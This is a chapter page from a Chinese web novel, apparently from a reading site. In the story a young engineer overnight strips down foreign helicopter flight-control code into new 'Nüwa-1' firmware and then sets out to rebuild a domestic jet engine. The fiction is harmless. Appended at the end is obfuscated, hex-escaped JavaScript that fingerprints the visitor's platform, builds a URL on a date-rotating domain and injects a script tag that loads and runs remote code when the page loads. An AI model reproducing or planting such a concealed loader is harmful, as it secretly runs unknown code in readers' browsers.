返回第463章 请叫我女娲,哪怕我只是在补屎山代码  爱吃鱼小仙首页

关灯 护眼     字体:

上一章 目录 下一章

凌晨两点的410厂,气氛压抑。

“女娲计划”飞控软件组的办公室里,键盘声稀稀拉拉,充满了某种名为“想死”的情绪。

十几块大屏幕上,如同瀑布一样滚动的代码全是令人绝望的红色报错。

“头儿,这活儿真没法干。”

一个把头发抓成了鸟窝的资深程序员,指着屏幕上一坨如同迷宫一样的函数调用链,崩溃地把键盘推开,“这就是个‘屎山’!

这帮法国人是疯子吗?

仅仅是一个升降舵的偏转指令,为什么要经过十三层校验?

而且中间还夹杂了一段去查询北约数据库的埠调用?

咱们又连不上那个鬼数据库,只要这行代码一跑,系统直接卡死三秒!”

软件组组长张工也是满眼血丝,手里捧着已经凉透的枸杞茶,“那是nh90的内核架构,为了安全冗馀。

咱们要是把它删了,整个姿态平衡算法就塌了。”

“这是个死局。”

张工叹气,“想把这一亿行代码理清楚并移植到咱们的【引路者】上,哪怕全组人猝死在这儿,也得半年。”

“半年?”

办公室的门没关,许燃夹着那个装着nh90原版源码的黑色硬盘,大步流星地走进来。

外面的夜风吹动他灰色的卫衣下摆,但这会儿这年轻人身上的气场比风还冷。

“半年后,美国人的六代机都该首飞了。”

许燃走到主位上,也不客气,直接伸手:“让让。”

张工一愣,下意识地让出了这几天差点把他腰坐断的人体工学椅。

“把所有的屏幕切到主编译窗口。”

许燃坐下,手指悬在键盘上方,就象是钢琴家在试音,“还有,把你们之前写的那些试图‘兼容’垃圾代码的补丁,全给我撤了。”

“撤了?”

鸟窝头急了,“那系统根本跑不起来!那是地基啊!”

“地基歪了,盖出来也是危楼。”

许燃的眼神专注地盯着屏幕,“今晚,咱们不修房子。

咱们拆迁。”

“林毅!”许燃喊了一嗓子。

“在!老大!”一直跟在后面的林毅兴奋地抱着个笔记本冲了过来。

“激活‘崐仑’的辅助重构模块。”

许燃十指如飞,是真正的手速爆发,“我要做个外科手术。

把那帮欧洲老贵族的繁文缛节切掉,只留下心脏。”

啪嗒!啪嗒!啪嗒!

许燃敲代码的节奏带着一种奇特的韵律,每一声回车都象是死刑判决。

“这一段,‘冗馀传感器校验逻辑’,删!

咱们的传感器比他们准,不需要校验三次。”

屏幕上一大段代码瞬间消失。

“这个,‘海况自动补偿算法’……嗯,有点意思,保留。

但是。”

许燃冷笑一声,光标像刀一样插进这段算法的内核。

“为什么要用那么多循环语句?效率低得发指。”

唰唰唰!

几百行的算法逻辑,在许燃的手下被硬生生压缩成了十几行的内核数学公式。

就象是把一篇冗长裹脚布一样的八股文,改写成了绝句。

“看清楚了吗?”

许燃头也不回,一边疯狂操作一边给后面看呆了的程序员们上课。

“这就是法国人的傲慢。

他们为了兼容几十年前的老雷达,背了太多的包袱。

但我们是新生的。”

“我们要象女娲一样,不光是补天,还要重塑规则。”

两个小时。

整个软件组没人敢说话,甚至没人敢大声喘气。

只能听见键盘极高频率的敲击声,那是某种让人着迷的工业噪音。

屏幕上的代码行数,正在以肉眼可见的速度锐减。

从几千万行,变成一千万行,五百万行……

原本像乱麻一样的调用关系,在许燃不可思议的架构重组下,变得清淅、干净、漂亮得让人想哭。

就象是一个满身赘肉的油腻胖子,经过两个小时的高强度特训,走出来变成了一个浑身肌肉线条流畅的斯巴达战士。

“这……这不可能……”

张工揉了揉眼睛,凑近屏幕,“这种底层的任务调度……这是嵌入了‘崐仑’系统的内核?”

“对。”

许燃按下最后一个编译键,进度条象疯了一样往前窜,“法国人的那些优秀算法,比如自动防撞地、比如气动耦合补偿,我都给它‘洗’出来了。

然后,装在了咱们‘崐仑’这个新骨架上。”

“所以。”

许燃转过椅子,看着身后那群嘴巴能塞鸡蛋的工程师。

“它现在既有西方人几十年的数据积累,又有咱们最变态的计算效率。”

“叮!”

一声清脆的提示音。

编译完成。

生成的固件文档大小:286b。。

“试试?”

许燃端起张工桌上那杯凉茶,也不嫌弃,一口闷了。

张工颤颤巍巍地把这个全新的固件刻录进旁边那台正在做台架测试的【引路者】飞控计算机里。

激活。

原本需要两分钟的自检流程,现在只用了一次眨眼的时间。

三个绿灯全亮!

连接伺服电机的测试台上,原本那个总觉得有点迟钝的舵面,此刻响应快得象是在抽风——不,是极致的敏捷!

手指轻轻拨动操纵杆哪怕一毫米,舵面都会精准地随动。

没有任何延迟!

如臂使指!

“神了……真神了……”

鸟窝头程序员直接给许燃跪的心都有了,“这就是咱们以后用的系统?

这也太干净了!这代码写得比诗还美!”

“别急着吹。”

许燃站起身,活动了一下酸痛的手腕。

“这只是个架子,代号就叫【女娲-1】型吧。”

他看了一眼那个虽然动作敏捷、但空空荡荡的测试台。

眼神从刚才的专注,慢慢变回了带着点野心的深沉。

“脑子有了(引路者智能程序),神经也有了(女娲飞控)。

现在这只鹰,还差最后一样东西。”

许燃走到窗前,看着外面停机坪上那架还蒙着帆布的验证机。

所有的好戏都铺垫好了,就差那一声最惊心动魄的轰鸣。

“心脏。”

许燃喃喃自语。

歼-10、歼-20,乃至这架【引路者】,一直以来,都有个最大的隐痛。

哪怕飞控写得再好,只要发动机不给力,那是飞不出一朵花来的。

国产“太行”发动机虽然解决了有无问题,但在推重比和寿命上,依然被那些欧美大厂嘲笑为“喷火的管子”。

“林毅。”

许燃突然回头,“我记得前段时间那批‘超纯单晶’叶片,除了卖给通用赚外汇的,李叔是不是私自扣下了一箱?”

林毅一愣,随即坏笑起来:“老大,您这是要……”

“把那一箱叶片给我拉出来。”

许燃把手插进卫衣口袋,背影显得格外挺拔。

“这‘女娲’都把天补好了。”

“如果不把那个被人骂了二十年的‘心病’给治好,那这一夜的代码,岂不是白敲了?”

“通知动力组。”

“明天早上,咱们把‘太行’给拆了。”

“我要看看,换上了新的骨头,这颗心,能不能跳得让那帮外国人吓出心脏病来。”

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");